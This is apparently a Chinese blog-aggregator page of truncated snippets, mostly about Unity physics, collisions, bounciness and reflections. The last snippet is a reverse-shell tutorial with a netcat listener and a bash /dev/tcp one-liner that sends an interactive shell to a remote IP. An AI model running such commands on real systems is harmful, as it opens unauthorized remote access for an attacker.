Dynamic Friction滑动摩擦力Static Friction静摩擦力Bouncyness 表面弹性滑动摩擦因子或静摩擦银子的取值范围在0-1之间,当为0时,对象拥有冰的效果,摩擦时流畅感很强。一般来说可以设置为0.4即可。弹性因子的取值范围为0-1,当取值为0时,材质作用物体将不再拥有弹性,当被碰撞时不会有任何反弹 ,而是直接凹陷,能量被完全耗损,当取值为1时,材质作用的物体就像钢珠一
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一. 温故而知新  在开始学习Unity框架之前,有必要温习一下 【依赖倒置原则】和【手写IOC】, 因为我们框架代码的构建都是基于【依赖倒置原则】的,而Unity框架的核心思想就是IOC和DI,所以有必要了解通过【反射+工厂+配置文件】来实现手写IOC的原理。  废不多说,简单提炼一下依赖原则的核心理念:面向接口编程。上层(UI层)不直接依赖于下层,而是依赖于下层对应的接口,下层去实现该接口。 
昨天逛街的时候看到太平鸟里面摆了个金属的米老鼠,于是职业病犯了,一直在想金属的颜色是什么,这个反射该怎么写,想不出来……今天正好看到动态反射立方图系统这一节,看完觉得很别扭,因为书上介绍的是事先踩点生成Cubemap的方式而不是实时的。于是到官方文档找到实时反射的代码,做了一个比较花俏的场景,运行之后吃了一大惊,实时反射是如此的震撼。。第四章第一节第二节介绍了创建Cubemap,然后学习了如何使用
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一:演示视频二:代码实现using UnityEngine;public class Player : MonoBehaviour{ private void Update() { transform.Translate(transform.forward * Time.deltaTime * 30, Space.World); } private void OnCollisionEnter(Collision other) {
原创 2021-07-08 15:45:03
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一:演示视频二:代码实现using UnityEngine;public class Player : MonoBehaviour{ private void Update() { transform.Translate(transform.forward * Time.deltaTime * 30, Space.World); } private void OnCollisionEnter(Collision other) {
原创 2022-01-25 11:44:09
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1 角色受伤弹开想法:角色如果碰撞到敌人,就会显示受伤动画,且受伤后会向和敌人碰撞的相反方向弹开。动画转移:idle->hurt:injured为truehurt->idle:injured为false,ground为truejump->hurt:injured为truerun->hurt:injured为trueOnTriggerEnter2D 和OnCollisionE
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一、声明只实现物理反弹的效果,不实现蹦床会有的视觉拉伸效果,请自行找相关代码二、实现经过我的实践,我发现要想实现一个平台反弹的效果,要么就选择给player添加一个物理材质(平台加了没用),但是这样会造成一个问题,如果我们要弄一个3d控制器的游戏,那么没理由让玩家什么情况下都要弹起来吧。2.1 老手操作 我们可以给玩家移动代码中添加如下的代码 :注意:应避免使用contacts[0],因为它会产生
转载 2024-08-04 13:32:43
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使用Unity3D开发也有大半年了,心中存惑如下,愿与各位开发者一起探讨:(1)  远离普适编程之惑随着游戏引擎的不断发展,游戏程序员的开发层级也越来越高,以Unity3D尤为突出。如果是进行Web模式的开发,那需要关心的方面更少了,距离传统3D游戏开发中的windows普适性编程知识也越来越远。(2) 托管之惑Unity3D使用托管语言进行开发,一般使用C#,这样很多开发者都远离了内存
坐标旋转可能看名字很复杂,其实就是转化为我们物理学上的一些坐标系分析的一个方法,只不过在最后运动的时候我们还得将我们坐标旋转得到的东西重新转化为显示屏上面的标准坐标系上的运动来完成一些列操作。至于台球物理当然一个轴上的并不复杂,两个轴上同样也得用到坐标旋转所以放在一起讲解。上一次总结了碰撞,反角今天总结的和碰撞有很深的关联因此一并总结一下,以备以后的套用提供方便。0、碰撞处理与坐标旋转上一次我们只
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unity ar vr VR and AR present a formidable set of challenges from both a software and hardware perspectives. From graphics and rendering performance, to the intricacies of storytelling and
 本篇实现一个球体在固定区域移动撞击Cube的游戏。 首先有1个Plane当作地面,1个Sphere当作球体,4个Cube当作墙,12个Cube当作被撞击物体,另外还有球体的撞击计算,在撞击的过程适时显示撞击的球体数,12个Cube被撞击后提示游戏结束。 创建项目,创建背景和球 创建一个项目,名称为"MyRollBall",选择项目所在文件,选择"3D"项,
转载 2024-05-05 12:18:34
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(2d与3d的Collider可以相互存在,但是无法相互协作,如2d是无法检测3d的,反之,一样) 在目前掌握的情况分析,在Unity中参与碰撞的物体分2大块:1.发起碰撞的物体。2.接收碰撞的物体。1. 发起碰撞物体有:Rigodbody , CharacterController .2. 接收碰撞物体由:所有的Collider .工作的原理为:发生碰撞的物体中必须要有“发起碰撞”的物
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Unity音频资源属性官网属性解释 官网官网地址:https://docs.unity3d.com/Manual/class-AudioClip.html属性解释Force To Mono:将多声道音频混合为单声道。(强制设置单声道)Load In Background:在独立线程加载音频剪辑。Ambisonic:是否环绕声。Load Type:加载类型Decompress On Load:在音
1.刚体 刚体是要给非常重要的组件。新的创建的物体默认是没有物理效果的。比如缺少:物体的重力、摩檫力、碰撞等等。1.1.给物体添加刚体Physics->Rigibody字段描述Mass质量 值越大下落速度越快Drog阻力 值越大,减速越快Angular Drag角速度 值越大 旋转减速越快Use Gravity是否使用重力Is Kinematic是否受重力影响Interpolate设置图像差
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算法介绍A*(念做:A Star)算法是一种很常用的路径查找和图形遍历算法。它有较好的性能和准确度。本文在讲解算法的同时也会提供Python语言的代码实现,并会借助matplotlib库动态的展示算法的运算过程。A*算法最初发表于1968年,由Stanford研究院的Peter Hart, Nils Nilsson以及Bertram Raphael发表。它可以被认为是Dijkstra算法的扩展。由
 今天下午碰到个问题纠结了很久:人物加上了Rigidbody并使用了重力,遇到悬崖居然不掉下,如履平地地走了过去。想了很久又请教了别人,花了很长时间才发现,CharacterController与Rigidbody两个组件有冲突。Unity圣典中的说法是: 角色控制器允许你在受制于碰撞的情况下很容易的进行运动,而不用处理刚体。(个人理解:用CharacterController
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屏幕空间反射(Screen Space Reflection):用途蛮广的,诸如水面的倒影、光滑地面的反射、大厦玻璃的反射,写好了的话对于画面表现上来说属于锦上添花的效果。 先来看看实现的效果: 如其名字——屏幕空间,使用了类似于后处理的手法,用渲染好的RenderTexture作为反射源输入,所以没被渲染进RenderTexture的场景信息没有办法得到正确的反射效果。如上图所示,天花板没办法反
友情链接:1. bash直接反弹1.1> bash直接反弹nc -nvlp 80801.2> 在目标主机上写入bash反弹一句话bash -i >& /dev/tcp/192.168.37.131/8080 0>&1bash -i:产生一个bash的交互环境;&:将联合符号前面的内容与后面的内容相结合然后一起重定向给后者;/dev/tcp/192.1
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